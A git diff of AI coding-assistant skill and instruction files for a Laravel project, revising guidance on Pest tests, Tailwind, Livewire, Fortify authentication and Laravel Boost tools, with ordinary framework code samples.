+description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code."
+license: MIT
+metadata:
+ author: laravel
---
# Pest Testing 4
-## When to Apply
-
-Activate this skill when:
-
-- Creating new tests (unit, feature, or browser)
-- Modifying existing tests
-- Debugging test failures
-- Working with browser testing or smoke testing
-- Writing architecture tests or visual regression tests
-
## Documentation
Use `search-docs` for detailed Pest 4 patterns and documentation.
-## Test Directory Structure
+## Basic Usage
-- `tests/Feature/` and `tests/Unit/` — Legacy tests (keep, don't delete)
-- `tests/v4/Feature/` — New feature tests (SQLite :memory: database)
-- `tests/v4/Browser/` — Browser tests (Pest Browser Plugin + Playwright)
-- `tests/Browser/` — Legacy Dusk browser tests (keep, don't delete)
+### Creating Tests
-New tests go in `tests/v4/`. The v4 suite uses SQLite :memory: with a schema dump (`database/schema/testing-schema.sql`) instead of running migrations.
+All tests must be written using Pest. Use `php artisan make:test --pest {name}`.
-Do NOT remove tests without approval.
+### Test Organization
-## Running Tests
+- Unit/Feature tests: `tests/Feature` and `tests/Unit` directories.
+- Browser tests: `tests/Browser/` directory.
+- Do NOT remove tests without approval - these are core application code.
-- All v4 tests: `php artisan test --compact tests/v4/`
-- Browser tests: `php artisan test --compact tests/v4/Browser/`
-- Feature tests: `php artisan test --compact tests/v4/Feature/`
-- Specific file: `php artisan test --compact tests/v4/Browser/LoginTest.php`
-- Filter: `php artisan test --compact --filter=testName`
-- Headed (see browser): `./vendor/bin/pest tests/v4/Browser/ --headed`
-- Debug (pause on failure): `./vendor/bin/pest tests/v4/Browser/ --debug`
-
-## Basic Test Structure
-
-
+### Basic Test Structure
+
+```php
it('is true', function () {
expect(true)->toBeTrue();
});
+```
-
+### Running Tests
+
+- Run minimal tests with filter before finalizing: `php artisan test --compact --filter=testName`.
+- Run all tests: `php artisan test --compact`.
+- Run file: `php artisan test --compact tests/Feature/ExampleTest.php`.
## Assertions
Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`:
+
+```php
+it('returns all', function () {
+ $this->postJson('/api/docs', [])->assertSuccessful();
+});
+```
+
| Use | Instead of |
|-----|------------|
| `assertSuccessful()` | `assertStatus(200)` |
@@ -70,116 +62,91 @@ ## Mocking
## Datasets
-Use datasets for repetitive tests:
-
-
+Use datasets for repetitive tests (validation rules, etc.):
+
+```php
it('has emails', function (string $email) {
expect($email)->not->toBeEmpty();
})->with([
'james' => 'james@laravel.com',
'taylor' => 'taylor@laravel.com',
]);
-
-
-
-## Browser Testing (Pest Browser Plugin + Playwright)
-
-Browser tests use `pestphp/pest-plugin-browser` with Playwright. They run **outside Docker** — the plugin starts an in-process HTTP server and Playwright browser automatically.
-
-### Key Rules
-
-1. **Always use `RefreshDatabase`** — the in-process server uses SQLite :memory:
-2. **Always seed `InstanceSettings::create(['id' => 0])` in `beforeEach`** — most pages crash without it
-3. **Use `User::factory()` for auth tests** — create users with `id => 0` for root user
-4. **No Dusk, no Selenium** — use `visit()`, `fill()`, `click()`, `assertSee()` from the Pest Browser API
-5. **Place tests in `tests/v4/Browser/`**
-6. **Views with bare `function` declarations** will crash on the second request in the same process — wrap with `function_exists()` guard if you encounter this
-
-### Browser Test Template
-
-
- 0]);
-});
-
-it('can visit the page', function () {
- $page = visit('/login');
-
- $page->assertSee('Login');
-});
-
-
-### Browser Test with Form Interaction
-
-
-it('fails login with invalid credentials', function () {
- User::factory()->create([
- 'id' => 0,
- 'email' => 'test@example.com',
- 'password' => Hash::make('password'),
- ]);
-
- $page = visit('/login');
-
- $page->fill('email', 'random@email.com')
- ->fill('password', 'wrongpassword123')
- ->click('Login')
- ->assertSee('These credentials do not match our records');
-});
-
-
-### Browser API Reference
-
-| Method | Purpose |
-|--------|---------|
-| `visit('/path')` | Navigate to a page |
-| `->fill('field', 'value')` | Fill an input by name |
-| `->click('Button Text')` | Click a button/link by text |
-| `->assertSee('text')` | Assert visible text |
-| `->assertDontSee('text')` | Assert text is not visible |
-| `->assertPathIs('/path')` | Assert current URL path |
-| `->assertSeeIn('.selector', 'text')` | Assert text in element |
-| `->screenshot()` | Capture screenshot |
-| `->debug()` | Pause test, keep browser open |
-| `->wait(seconds)` | Wait N seconds |
-
-### Debugging
-
-- Screenshots auto-saved to `tests/Browser/Screenshots/` on failure
-- `->debug()` pauses and keeps browser open (press Enter to continue)
-- `->screenshot()` captures state at any point
-- `--headed` flag shows browser, `--debug` pauses on failure
-
-## SQLite Testing Setup
-
-v4 tests use SQLite :memory: instead of PostgreSQL. Schema loaded from `database/schema/testing-schema.sql`.
-
-### Regenerating the Schema
-
-When migrations change, regenerate from the running PostgreSQL database:
-
-```bash
-docker exec coolify php artisan schema:generate-testing
```
-## Architecture Testing
+## Pest 4 Features
-
+| Feature | Purpose |
+|---------|---------|
+| Browser Testing | Full integration tests in real browsers |
+| Smoke Testing | Validate multiple pages quickly |
+| Visual Regression | Compare screenshots for visual changes |
+| Test Sharding | Parallel CI runs |
+| Architecture Testing | Enforce code conventions |
+### Browser Test Example
+
+Browser tests run in real browsers for full integration testing:
+
+- Browser tests live in `tests/Browser/`.
+- Use Laravel features like `Event::fake()`, `assertAuthenticated()`, and model factories.
+- Use `RefreshDatabase` for clean state per test.
+- Interact with page: click, type, scroll, select, submit, drag-and-drop, touch gestures.
+- Test on multiple browsers (Chrome, Firefox, Safari) if requested.
+- Test on different devices/viewports (iPhone 14 Pro, tablets) if requested.
+- Switch color schemes (light/dark mode) when appropriate.
+- Take screenshots or pause tests for debugging.
+
+
+```php
+it('may reset the password', function () {
+ Notification::fake();
+
+ $this->actingAs(User::factory()->create());
+
+ $page = visit('/sign-in');
+
+ $page->assertSee('Sign In')
+ ->assertNoJavaScriptErrors()
+ ->click('Forgot Password?')
+ ->fill('email', 'nuno@laravel.com')
+ ->click('Send Reset Link')
+ ->assertSee('We have emailed your password reset link!');
+
+ Notification::assertSent(ResetPassword::class);
+});
+```
+
+### Smoke Testing
+
+Quickly validate multiple pages have no JavaScript errors:
+
+
+```php
+$pages = visit(['/', '/about', '/contact']);
+
+$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs();
+```
+
+### Visual Regression Testing
+
+Capture and compare screenshots to detect visual changes.
+
+### Test Sharding
+
+Split tests across parallel processes for faster CI runs.
+
+### Architecture Testing
+
+Pest 4 includes architecture testing (from Pest 3):
+
+
+```php
arch('controllers')
->expect('App\Http\Controllers')
->toExtendNothing()
->toHaveSuffix('Controller');
-
-
+```
## Common Pitfalls
@@ -187,7 +154,4 @@ ## Common Pitfalls
- Using `assertStatus(200)` instead of `assertSuccessful()`
- Forgetting datasets for repetitive validation tests
- Deleting tests without approval
-- Forgetting `assertNoJavaScriptErrors()` in browser tests
-- **Browser tests: forgetting `InstanceSettings::create(['id' => 0])` — most pages crash without it**
-- **Browser tests: forgetting `RefreshDatabase` — SQLite :memory: starts empty**
-- **Browser tests: views with bare `function` declarations crash on second request — wrap with `function_exists()` guard**
+- Forgetting `assertNoJavaScriptErrors()` in browser tests
\ No newline at end of file
diff --git a/.claude/skills/tailwindcss-development/SKILL.md b/.claude/skills/tailwindcss-development/SKILL.md
index 12bd896bb..7c8e295e8 100644
--- a/.claude/skills/tailwindcss-development/SKILL.md
+++ b/.claude/skills/tailwindcss-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: tailwindcss-development
-description: >-
- Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components,
- working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors,
- typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle,
- hero section, cards, buttons, or any visual/UI changes.
+description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS."
+license: MIT
+metadata:
+ author: laravel
---
# Tailwind CSS Development
-## When to Apply
-
-Activate this skill when:
-
-- Adding styles to components or pages
-- Working with responsive design
-- Implementing dark mode
-- Extracting repeated patterns into components
-- Debugging spacing or layout issues
-
## Documentation
Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation.
@@ -38,22 +27,24 @@ ### CSS-First Configuration
In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed:
-
+
+```css
@theme {
--color-brand: oklch(0.72 0.11 178);
}
-
+```
### Import Syntax
In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3:
-
+
+```diff
- @tailwind base;
- @tailwind components;
- @tailwind utilities;
+ @import "tailwindcss";
-
+```
### Replaced Utilities
@@ -77,43 +68,47 @@ ## Spacing
Use `gap` utilities instead of margins for spacing between siblings:
-
+
+```html
-
+```
## Dark Mode
If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant:
-
+
+```html
Content adapts to color scheme
-
+```
## Common Patterns
### Flexbox Layout
-
+
+```html
Left content
Right content
-
+```
### Grid Layout
-
+
+```html
-
+```
## Common Pitfalls
diff --git a/.cursor/skills/developing-with-fortify/SKILL.md b/.cursor/skills/developing-with-fortify/SKILL.md
deleted file mode 100644
index 2ff71a4b4..000000000
--- a/.cursor/skills/developing-with-fortify/SKILL.md
+++ /dev/null
@@ -1,116 +0,0 @@
----
-name: developing-with-fortify
-description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
----
-
-# Laravel Fortify Development
-
-Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-
-## Documentation
-
-Use `search-docs` for detailed Laravel Fortify patterns and documentation.
-
-## Usage
-
-- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
-- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
-- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
-- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
-- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
-
-## Available Features
-
-Enable in `config/fortify.php` features array:
-
-- `Features::registration()` - User registration
-- `Features::resetPasswords()` - Password reset via email
-- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
-- `Features::updateProfileInformation()` - Profile updates
-- `Features::updatePasswords()` - Password changes
-- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
-
-> Use `search-docs` for feature configuration options and customization patterns.
-
-## Setup Workflows
-
-### Two-Factor Authentication Setup
-
-```
-- [ ] Add TwoFactorAuthenticatable trait to User model
-- [ ] Enable feature in config/fortify.php
-- [ ] Run migrations for 2FA columns
-- [ ] Set up view callbacks in FortifyServiceProvider
-- [ ] Create 2FA management UI
-- [ ] Test QR code and recovery codes
-```
-
-> Use `search-docs` for TOTP implementation and recovery code handling patterns.
-
-### Email Verification Setup
-
-```
-- [ ] Enable emailVerification feature in config
-- [ ] Implement MustVerifyEmail interface on User model
-- [ ] Set up verifyEmailView callback
-- [ ] Add verified middleware to protected routes
-- [ ] Test verification email flow
-```
-
-> Use `search-docs` for MustVerifyEmail implementation patterns.
-
-### Password Reset Setup
-
-```
-- [ ] Enable resetPasswords feature in config
-- [ ] Set up requestPasswordResetLinkView callback
-- [ ] Set up resetPasswordView callback
-- [ ] Define password.reset named route (if views disabled)
-- [ ] Test reset email and link flow
-```
-
-> Use `search-docs` for custom password reset flow patterns.
-
-### SPA Authentication Setup
-
-```
-- [ ] Set 'views' => false in config/fortify.php
-- [ ] Install and configure Laravel Sanctum
-- [ ] Use 'web' guard in fortify config
-- [ ] Set up CSRF token handling
-- [ ] Test XHR authentication flows
-```
-
-> Use `search-docs` for integration and SPA authentication patterns.
-
-## Best Practices
-
-### Custom Authentication Logic
-
-Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
-
-### Registration Customization
-
-Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
-
-### Rate Limiting
-
-Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
-
-## Key Endpoints
-
-| Feature | Method | Endpoint |
-|------------------------|----------|---------------------------------------------|
-| Login | POST | `/login` |
-| Logout | POST | `/logout` |
-| Register | POST | `/register` |
-| Password Reset Request | POST | `/forgot-password` |
-| Password Reset | POST | `/reset-password` |
-| Email Verify Notice | GET | `/email/verify` |
-| Resend Verification | POST | `/email/verification-notification` |
-| Password Confirm | POST | `/user/confirm-password` |
-| Enable 2FA | POST | `/user/two-factor-authentication` |
-| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
-| 2FA Challenge | POST | `/two-factor-challenge` |
-| Get QR Code | GET | `/user/two-factor-qr-code` |
-| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.cursor/skills/livewire-development/SKILL.md b/.cursor/skills/livewire-development/SKILL.md
index 755d20713..70ecd57d4 100644
--- a/.cursor/skills/livewire-development/SKILL.md
+++ b/.cursor/skills/livewire-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: livewire-development
-description: >-
- Develops reactive Livewire 3 components. Activates when creating, updating, or modifying
- Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives;
- adding real-time updates, loading states, or reactivity; debugging component behavior;
- writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
+description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire."
+license: MIT
+metadata:
+ author: laravel
---
# Livewire Development
-## When to Apply
-
-Activate this skill when:
-- Creating new Livewire components
-- Modifying existing component state or behavior
-- Debugging reactivity or lifecycle issues
-- Writing Livewire component tests
-- Adding Alpine.js interactivity to components
-- Working with wire: directives
-
## Documentation
Use `search-docs` for detailed Livewire 3 patterns and documentation.
@@ -62,33 +51,31 @@ ### Component Structure
### Using Keys in Loops
-
-
+
+```blade
@foreach ($items as $item)
{{ $item->name }}
@endforeach
-
-
+```
### Lifecycle Hooks
Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects:
-
-
+
+```php
public function mount(User $user) { $this->user = $user; }
public function updatedSearch() { $this->resetPage(); }
-
-
+```
## JavaScript Hooks
You can listen for `livewire:init` to hook into Livewire initialization:
-
-
+
+```js
document.addEventListener('livewire:init', function () {
Livewire.hook('request', ({ fail }) => {
if (fail && fail.status === 419) {
@@ -100,28 +87,25 @@ ## JavaScript Hooks
console.error(message);
});
});
-
-
+```
## Testing
-
-
+
+```php
Livewire::test(Counter::class)
->assertSet('count', 0)
->call('increment')
->assertSet('count', 1)
->assertSee(1)
->assertStatus(200);
+```
-
-
-
-
+
+```php
$this->get('/posts/create')
->assertSeeLivewire(CreatePost::class);
-
-
+```
## Common Pitfalls
diff --git a/.cursor/skills/pest-testing/SKILL.md b/.cursor/skills/pest-testing/SKILL.md
index 67455e7e6..ba774e71b 100644
--- a/.cursor/skills/pest-testing/SKILL.md
+++ b/.cursor/skills/pest-testing/SKILL.md
@@ -1,24 +1,13 @@
---
name: pest-testing
-description: >-
- Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature
- tests, adding assertions, testing Livewire components, browser testing, debugging test failures,
- working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion,
- coverage, or needs to verify functionality works.
+description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code."
+license: MIT
+metadata:
+ author: laravel
---
# Pest Testing 4
-## When to Apply
-
-Activate this skill when:
-
-- Creating new tests (unit, feature, or browser)
-- Modifying existing tests
-- Debugging test failures
-- Working with browser testing or smoke testing
-- Writing architecture tests or visual regression tests
-
## Documentation
Use `search-docs` for detailed Pest 4 patterns and documentation.
@@ -37,13 +26,12 @@ ### Test Organization
### Basic Test Structure
-
-
+
+```php
it('is true', function () {
expect(true)->toBeTrue();
});
-
-
+```
### Running Tests
@@ -55,13 +43,12 @@ ## Assertions
Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`:
-
-
+
+```php
it('returns all', function () {
$this->postJson('/api/docs', [])->assertSuccessful();
});
-
-
+```
| Use | Instead of |
|-----|------------|
@@ -77,16 +64,15 @@ ## Datasets
Use datasets for repetitive tests (validation rules, etc.):
-
-
+
+```php
it('has emails', function (string $email) {
expect($email)->not->toBeEmpty();
})->with([
'james' => 'james@laravel.com',
'taylor' => 'taylor@laravel.com',
]);
-
-
+```
## Pest 4 Features
@@ -111,8 +97,8 @@ ### Browser Test Example
- Switch color schemes (light/dark mode) when appropriate.
- Take screenshots or pause tests for debugging.
-
-
+
+```php
it('may reset the password', function () {
Notification::fake();
@@ -129,20 +115,18 @@ ### Browser Test Example
Notification::assertSent(ResetPassword::class);
});
-
-
+```
### Smoke Testing
Quickly validate multiple pages have no JavaScript errors:
-
-
+
+```php
$pages = visit(['/', '/about', '/contact']);
$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs();
-
-
+```
### Visual Regression Testing
@@ -156,14 +140,13 @@ ### Architecture Testing
Pest 4 includes architecture testing (from Pest 3):
-
-
+
+```php
arch('controllers')
->expect('App\Http\Controllers')
->toExtendNothing()
->toHaveSuffix('Controller');
-
-
+```
## Common Pitfalls
diff --git a/.cursor/skills/tailwindcss-development/SKILL.md b/.cursor/skills/tailwindcss-development/SKILL.md
index 12bd896bb..7c8e295e8 100644
--- a/.cursor/skills/tailwindcss-development/SKILL.md
+++ b/.cursor/skills/tailwindcss-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: tailwindcss-development
-description: >-
- Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components,
- working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors,
- typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle,
- hero section, cards, buttons, or any visual/UI changes.
+description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS."
+license: MIT
+metadata:
+ author: laravel
---
# Tailwind CSS Development
-## When to Apply
-
-Activate this skill when:
-
-- Adding styles to components or pages
-- Working with responsive design
-- Implementing dark mode
-- Extracting repeated patterns into components
-- Debugging spacing or layout issues
-
## Documentation
Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation.
@@ -38,22 +27,24 @@ ### CSS-First Configuration
In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed:
-
+
+```css
@theme {
--color-brand: oklch(0.72 0.11 178);
}
-
+```
### Import Syntax
In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3:
-
+
+```diff
- @tailwind base;
- @tailwind components;
- @tailwind utilities;
+ @import "tailwindcss";
-
+```
### Replaced Utilities
@@ -77,43 +68,47 @@ ## Spacing
Use `gap` utilities instead of margins for spacing between siblings:
-
+
+```html
-
+```
## Dark Mode
If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant:
-
+
+```html
Content adapts to color scheme
-
+```
## Common Patterns
### Flexbox Layout
-
+
+```html
Left content
Right content
-
+```
### Grid Layout
-
+
+```html
-
+```
## Common Pitfalls
diff --git a/AGENTS.md b/AGENTS.md
index 162c23842..3fff0074e 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -9,14 +9,17 @@ ## Foundational Context
This application is a Laravel application and its main Laravel ecosystems package & versions are below. You are an expert with them all. Ensure you abide by these specific packages & versions.
-- php - 8.4.1
+- php - 8.5
- laravel/fortify (FORTIFY) - v1
- laravel/framework (LARAVEL) - v12
- laravel/horizon (HORIZON) - v5
+- laravel/nightwatch (NIGHTWATCH) - v1
+- laravel/pail (PAIL) - v1
- laravel/prompts (PROMPTS) - v0
- laravel/sanctum (SANCTUM) - v4
- laravel/socialite (SOCIALITE) - v5
- livewire/livewire (LIVEWIRE) - v3
+- laravel/boost (BOOST) - v2
- laravel/dusk (DUSK) - v8
- laravel/mcp (MCP) - v0
- laravel/pint (PINT) - v1
@@ -32,11 +35,15 @@ ## Skills Activation
This project has domain-specific skills available. You MUST activate the relevant skill whenever you work in that domain—don't wait until you're stuck.
-- `livewire-development` — Develops reactive Livewire 3 components. Activates when creating, updating, or modifying Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives; adding real-time updates, loading states, or reactivity; debugging component behavior; writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
-- `pest-testing` — Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature tests, adding assertions, testing Livewire components, browser testing, debugging test failures, working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion, coverage, or needs to verify functionality works.
-- `tailwindcss-development` — Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components, working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors, typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle, hero section, cards, buttons, or any visual/UI changes.
-- `developing-with-fortify` — Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
-- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application.
+- `laravel-best-practices` — Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns.
+- `configuring-horizon` — Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching.
+- `socialite-development` — Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication.
+- `livewire-development` — Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire.
+- `pest-testing` — Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code.
+- `tailwindcss-development` — Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS.
+- `fortify-development` — ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.
+- `laravel-actions` — Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring.
+- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application.
## Conventions
@@ -69,76 +76,51 @@ ## Replies
# Laravel Boost
-- Laravel Boost is an MCP server that comes with powerful tools designed specifically for this application. Use them.
+## Tools
+
+- Laravel Boost is an MCP server with tools designed specifically for this application. Prefer Boost tools over manual alternatives like shell commands or file reads.
+- Use `database-query` to run read-only queries against the database instead of writing raw SQL in tinker.
+- Use `database-schema` to inspect table structure before writing migrations or models.
+- Use `get-absolute-url` to resolve the correct scheme, domain, and port for project URLs. Always use this before sharing a URL with the user.
+- Use `browser-logs` to read browser logs, errors, and exceptions. Only recent logs are useful, ignore old entries.
+
+## Searching Documentation (IMPORTANT)
+
+- Always use `search-docs` before making code changes. Do not skip this step. It returns version-specific docs based on installed packages automatically.
+- Pass a `packages` array to scope results when you know which packages are relevant.
+- Use multiple broad, topic-based queries: `['rate limiting', 'routing rate limiting', 'routing']`. Expect the most relevant results first.
+- Do not add package names to queries because package info is already shared. Use `test resource table`, not `filament 4 test resource table`.
+
+### Search Syntax
+
+1. Use words for auto-stemmed AND logic: `rate limit` matches both "rate" AND "limit".
+2. Use `"quoted phrases"` for exact position matching: `"infinite scroll"` requires adjacent words in order.
+3. Combine words and phrases for mixed queries: `middleware "rate limit"`.
+4. Use multiple queries for OR logic: `queries=["authentication", "middleware"]`.
## Artisan
-- Use the `list-artisan-commands` tool when you need to call an Artisan command to double-check the available parameters.
+- Run Artisan commands directly via the command line (e.g., `php artisan route:list`). Use `php artisan list` to discover available commands and `php artisan [command] --help` to check parameters.
+- Inspect routes with `php artisan route:list`. Filter with: `--method=GET`, `--name=users`, `--path=api`, `--except-vendor`, `--only-vendor`.
+- Read configuration values using dot notation: `php artisan config:show app.name`, `php artisan config:show database.default`. Or read config files directly from the `config/` directory.
+- To check environment variables, read the `.env` file directly.
-## URLs
+## Tinker
-- Whenever you share a project URL with the user, you should use the `get-absolute-url` tool to ensure you're using the correct scheme, domain/IP, and port.
-
-## Tinker / Debugging
-
-- You should use the `tinker` tool when you need to execute PHP to debug code or query Eloquent models directly.
-- Use the `database-query` tool when you only need to read from the database.
-
-## Reading Browser Logs With the `browser-logs` Tool
-
-- You can read browser logs, errors, and exceptions using the `browser-logs` tool from Boost.
-- Only recent browser logs will be useful - ignore old logs.
-
-## Searching Documentation (Critically Important)
-
-- Boost comes with a powerful `search-docs` tool you should use before trying other approaches when working with Laravel or Laravel ecosystem packages. This tool automatically passes a list of installed packages and their versions to the remote Boost API, so it returns only version-specific documentation for the user's circumstance. You should pass an array of packages to filter on if you know you need docs for particular packages.
-- Search the documentation before making code changes to ensure we are taking the correct approach.
